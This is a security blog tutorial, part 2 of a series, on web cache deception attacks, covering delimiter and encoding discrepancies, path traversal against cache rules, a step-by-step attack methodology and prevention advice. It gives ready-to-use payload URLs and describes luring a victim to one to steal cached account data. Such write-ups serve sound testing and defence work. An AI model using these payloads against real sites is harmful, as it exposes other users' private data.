September 26, 2026
Web Cache Deception Part 2: Advanced Bypass Techniques
By // l1m1nal_3ntr0py

By // l1m1nal_3ntr0py
4 min read
Part 2 of 2 โ Read Part 1 first
Part 1 covered the basics โ appending static extensions and exploiting path mapping. Part 2 goes deeper โ delimiter discrepancies, normalization attacks, and encoded bypass techniques that survive even hardened configurations.
Delimiter Discrepancies
A delimiter is a character that separates parts of a URL. Different frameworks treat the same characters as delimiters differently โ and that inconsistency is exploitable.
Standard URL delimiters:
? โ separates path from query string
# โ separates URL from fragment
/ โ separates path segmentsStandard URL delimiters:
? โ separates path from query string
# โ separates URL from fragment
/ โ separates path segmentsThe discrepancy:
URL: /profile;foo.css
Java Spring: Other frameworks:
; = delimiter ; = regular character
sees /profile sees /profile;foo.css
returns profile data returns 404 or errorURL: /profile;foo.css
Java Spring: Other frameworks:
; = delimiter ; = regular character
sees /profile sees /profile;foo.css
returns profile data returns 404 or errorHow to exploit:
Cache server: doesn't treat ; as delimiter
โ sees full path: /profile;foo.css
โ .css extension โ CACHE IT!
Origin server: treats ; as delimiter
โ sees only: /profile
โ returns profile data
Result: cache stores profile data at /profile;foo.css!Cache server: doesn't treat ; as delimiter
โ sees full path: /profile;foo.css
โ .css extension โ CACHE IT!
Origin server: treats ; as delimiter
โ sees only: /profile
โ returns profile data
Result: cache stores profile data at /profile;foo.css!Ruby on Rails โ dot delimiter:
Rails treats . as a format specifier. /profile.css tells Rails to return CSS format โ which doesn't exist, so it errors.
Bypass: Use an extension Rails doesn't recognise:
/profile.ico โ Rails: unknown format โ ignores โ returns /profile
Cache: .ico = static โ CACHE IT!/profile.ico โ Rails: unknown format โ ignores โ returns /profile
Cache: .ico = static โ CACHE IT!OpenLightSpeed โ encoded delimiters:
Some servers treat URL-encoded characters as delimiters:
%00 โ null byte delimiter
%23 โ # (encoded hash)
%3f โ ? (encoded question mark)
/profile%00foo.css
/profile%23foo.css
/profile%3ffoo.css%00 โ null byte delimiter
%23 โ # (encoded hash)
%3f โ ? (encoded question mark)
/profile%00foo.css
/profile%23foo.css
/profile%3ffoo.cssHow to Find Delimiter Discrepancies โ Step by Step
Step 1 โ Find a valid dynamic endpoint:
GET /settings/users/list โ returns user data โ
GET /settings/users/list โ returns user data โ
Step 2 โ Test if extra path segments are ignored:
GET /settings/users/listaaaa
โ Same response? โ origin ignores extra segments โ
โ Different response? โ find another endpointGET /settings/users/listaaaa
โ Same response? โ origin ignores extra segments โ
โ Different response? โ find another endpointStep 3 โ Test delimiter candidates:
GET /settings/users/list;aaa
โ Same response as /settings/users/list?
โ YES โ origin treats ; as delimiter! โ
GET /settings/users/list;aaa
โ Same response as /settings/users/list?
โ YES โ origin treats ; as delimiter! โ
Step 4 โ Test if cache uses the delimiter:
GET /settings/users/list;aaa.css
โ X-Cache: miss first request
โ X-Cache: hit second request
โ Cache doesn't treat ; as delimiter โ STORES IT! โ
GET /settings/users/list;aaa.css
โ X-Cache: miss first request
โ X-Cache: hit second request
โ Cache doesn't treat ; as delimiter โ STORES IT! โ
Step 5 โ Exploit:
Victim visits /settings/users/list;aaa.css (authenticated)
Cache stores their data
Attacker retrieves /settings/users/list;aaa.css (unauthenticated)
Gets victim's data! ๐Victim visits /settings/users/list;aaa.css (authenticated)
Cache stores their data
Attacker retrieves /settings/users/list;aaa.css (unauthenticated)
Gets victim's data! ๐Browser encoding issue:
Browsers automatically URL-encode some characters before sending requests. If your delimiter gets encoded, the attack breaks.
Characters browsers encode: { } < > and others
Characters browsers leave alone: ; . % (usually)
If using a character that gets encoded:
โ Pre-encode it yourself before sending via Burp
โ Browser decodes it โ arrives at server in natural formCharacters browsers encode: { } < > and others
Characters browsers leave alone: ; . % (usually)
If using a character that gets encoded:
โ Pre-encode it yourself before sending via Burp
โ Browser decodes it โ arrives at server in natural formDelimiter Decoding Discrepancies
A related attack where encoding creates the discrepancy instead of the delimiter itself.
The attack:
URL: /myaccount%3fwcd.css
Cache:
โ Sees /myaccount%3fwcd.css
โ .css extension โ CACHE IT!
โ Stores response at this key
Origin server:
โ Decodes %3f โ ?
โ Sees /myaccount?wcd.css
โ ? separates path from query
โ Path = /myaccount
โ Returns account data!
Result: account data stored in cache!URL: /myaccount%3fwcd.css
Cache:
โ Sees /myaccount%3fwcd.css
โ .css extension โ CACHE IT!
โ Stores response at this key
Origin server:
โ Decodes %3f โ ?
โ Sees /myaccount?wcd.css
โ ? separates path from query
โ Path = /myaccount
โ Returns account data!
Result: account data stored in cache!The key insight โ the cache sees the encoded URL while the origin server decodes it first. They end up processing different paths from the same input.
Exploiting Static Directory Cache Rules โ Path Traversal in Caches
Some caches only store responses for paths starting with specific directory prefixes:
Cache rule: store everything under /static/ /assets/ /scripts/Cache rule: store everything under /static/ /assets/ /scripts/The exploit โ use path traversal to fake the prefix:
/static/..%2fprofile/static/..%2fprofileWhy encode ../ as ..%2f?
Browsers normalise ../ automatically. /static/../profile becomes /profile before it even reaches the server โ the static prefix disappears.
Encoding prevents browser normalisation:
Browser receives: /static/..%2fprofile
Browser sends: /static/..%2fprofile (doesn't normalise encoded /)
Cache sees: /static/..%2fprofile โ starts with /static โ CACHE IT!
Origin decodes: /static/../profile โ normalises to /profile โ returns dataBrowser receives: /static/..%2fprofile
Browser sends: /static/..%2fprofile (doesn't normalise encoded /)
Cache sees: /static/..%2fprofile โ starts with /static โ CACHE IT!
Origin decodes: /static/../profile โ normalises to /profile โ returns dataConfirming the cache rule type:
First โ confirm the cache isn't normalising paths itself:
GET /aaa/..%2fassets/js/stockCheck.js
โ Response no longer cached โ cache doesn't normalise โ
(good for attack)
โ Response still cached โ cache normalises the path โGET /aaa/..%2fassets/js/stockCheck.js
โ Response no longer cached โ cache doesn't normalise โ
(good for attack)
โ Response still cached โ cache normalises the path โSecond โ confirm the rule is prefix-based not extension-based:
GET /assets/aaa (no extension)
โ Still cached โ rule is PREFIX based โ
โ Not cached โ rule is EXTENSION basedGET /assets/aaa (no extension)
โ Still cached โ rule is PREFIX based โ
โ Not cached โ rule is EXTENSION basedNormalization Discrepancies โ Two Attack Directions
Attack Direction 1 โ Origin Normalises, Cache Does Not
Origin resolves ../ โ Cache doesn't
Payload: /assets/..%2fprofile
Cache: sees /assets/..%2fprofile โ /assets prefix โ CACHE IT!
Origin: decodes โ /assets/../profile โ normalises โ /profile โ returns dataOrigin resolves ../ โ Cache doesn't
Payload: /assets/..%2fprofile
Cache: sees /assets/..%2fprofile โ /assets prefix โ CACHE IT!
Origin: decodes โ /assets/../profile โ normalises โ /profile โ returns dataAttack Direction 2 โ Cache Normalises, Origin Does Not
More complex. Requires combining with a delimiter discrepancy.
Origin uses ; as delimiter but doesn't normalise
Cache normalises but doesn't use ; as delimiter
Payload: /profile;%2f%2e%2e%2fstatic
Cache: normalises โ /static โ static prefix โ CACHE IT!
Origin: ; = delimiter โ sees /profile โ returns profile dataOrigin uses ; as delimiter but doesn't normalise
Cache normalises but doesn't use ; as delimiter
Payload: /profile;%2f%2e%2e%2fstatic
Cache: normalises โ /static โ static prefix โ CACHE IT!
Origin: ; = delimiter โ sees /profile โ returns profile dataImportant โ encode EVERYTHING except the first slash:
/profile;%2f%2e%2e%2fstatic
โ everything after / is encoded
%2f = /
%2e%2e = ../profile;%2f%2e%2e%2fstatic
โ everything after / is encoded
%2f = /
%2e%2e = ..Exploiting Filename Cache Rules
Some caches store specific filenames regardless of directory:
robots.txt โ always cached
favicon.ico โ always cached
index.html โ always cachedrobots.txt โ always cached
favicon.ico โ always cached
index.html โ always cachedSame technique โ path traversal to reach these filenames:
/profile/..%2frobots.txt
โ Cache: filename is robots.txt โ CACHE IT! โ
โ Origin: normalises โ /profile โ returns profile data โ
/profile/..%2frobots.txt
โ Cache: filename is robots.txt โ CACHE IT! โ
โ Origin: normalises โ /profile โ returns profile data โ
Complete Attack Methodology
Phase 1: Reconnaissance
โ Identify cache technology (X-Cache header, server headers)
โ Map all dynamic endpoints with sensitive data
โ Identify cache rules (extensions, prefixes, filenames)
Phase 2: Test discrepancies
โ Static extension appending (.js .css .ico)
โ Path segment appending (/abc.js)
โ Delimiter testing (; . %00 %23 %3f)
โ Path traversal with encoding (..%2f)
Phase 3: Confirm caching
โ Send request twice - check X-Cache
โ Verify unauthenticated request returns cached data
Phase 4: Exploit
โ Craft final payload URL
โ Deliver to victim (phishing, XSS, CSRF)
โ Retrieve cached sensitive data
Tools:
โ Burp Param Miner โ Add dynamic cachebuster
โ Web Cache Deception Scanner BApp
โ Burp Repeater for manual testingPhase 1: Reconnaissance
โ Identify cache technology (X-Cache header, server headers)
โ Map all dynamic endpoints with sensitive data
โ Identify cache rules (extensions, prefixes, filenames)
Phase 2: Test discrepancies
โ Static extension appending (.js .css .ico)
โ Path segment appending (/abc.js)
โ Delimiter testing (; . %00 %23 %3f)
โ Path traversal with encoding (..%2f)
Phase 3: Confirm caching
โ Send request twice - check X-Cache
โ Verify unauthenticated request returns cached data
Phase 4: Exploit
โ Craft final payload URL
โ Deliver to victim (phishing, XSS, CSRF)
โ Retrieve cached sensitive data
Tools:
โ Burp Param Miner โ Add dynamic cachebuster
โ Web Cache Deception Scanner BApp
โ Burp Repeater for manual testingPrevention
For developers:
โ Always include Cache-Control: no-store
on responses containing sensitive data
โ Validate the full URL path strictly
Don't ignore extra segments or delimiters
โ Use consistent URL parsing across all
components (cache, origin, CDN)
โ Configure cache rules based on
Content-Type not URL patterns
โ Set Vary header to include Cookie
so cached responses are user-specific
Quick fix header:
Cache-Control: no-store, privateFor developers:
โ Always include Cache-Control: no-store
on responses containing sensitive data
โ Validate the full URL path strictly
Don't ignore extra segments or delimiters
โ Use consistent URL parsing across all
components (cache, origin, CDN)
โ Configure cache rules based on
Content-Type not URL patterns
โ Set Vary header to include Cookie
so cached responses are user-specific
Quick fix header:
Cache-Control: no-store, privateSummary
PART 1 TECHNIQUES:
โ Static extension appending (/profile.js)
โ Path mapping discrepancies (/profile/abc.css)
PART 2 TECHNIQUES:
โ Delimiter discrepancies (; . %00)
โ Encoded delimiter attacks (%3f %23)
โ Path traversal cache bypass (..%2f)
โ Normalization discrepancies
โ Filename cache rules (robots.txt)
DETECTION:
โ X-Cache header
โ Param Miner cachebuster
โ Web Cache Deception Scanner BApp
โ Send twice: miss then hit = vulnerable
PREVENTION:
โ Cache-Control: no-store on sensitive endpoints
โ Consistent URL parsing across all components
โ Content-Type based caching not URL patternsPART 1 TECHNIQUES:
โ Static extension appending (/profile.js)
โ Path mapping discrepancies (/profile/abc.css)
PART 2 TECHNIQUES:
โ Delimiter discrepancies (; . %00)
โ Encoded delimiter attacks (%3f %23)
โ Path traversal cache bypass (..%2f)
โ Normalization discrepancies
โ Filename cache rules (robots.txt)
DETECTION:
โ X-Cache header
โ Param Miner cachebuster
โ Web Cache Deception Scanner BApp
โ Send twice: miss then hit = vulnerable
PREVENTION:
โ Cache-Control: no-store on sensitive endpoints
โ Consistent URL parsing across all components
โ Content-Type based caching not URL patternsWritten by // l1m1nal_3ntr0py
- ๐ฆ @l1m1nal_3ntr0py
- ๐ github.com/l1m1nal-3ntr0py
- ๐ hackerone.com/nithig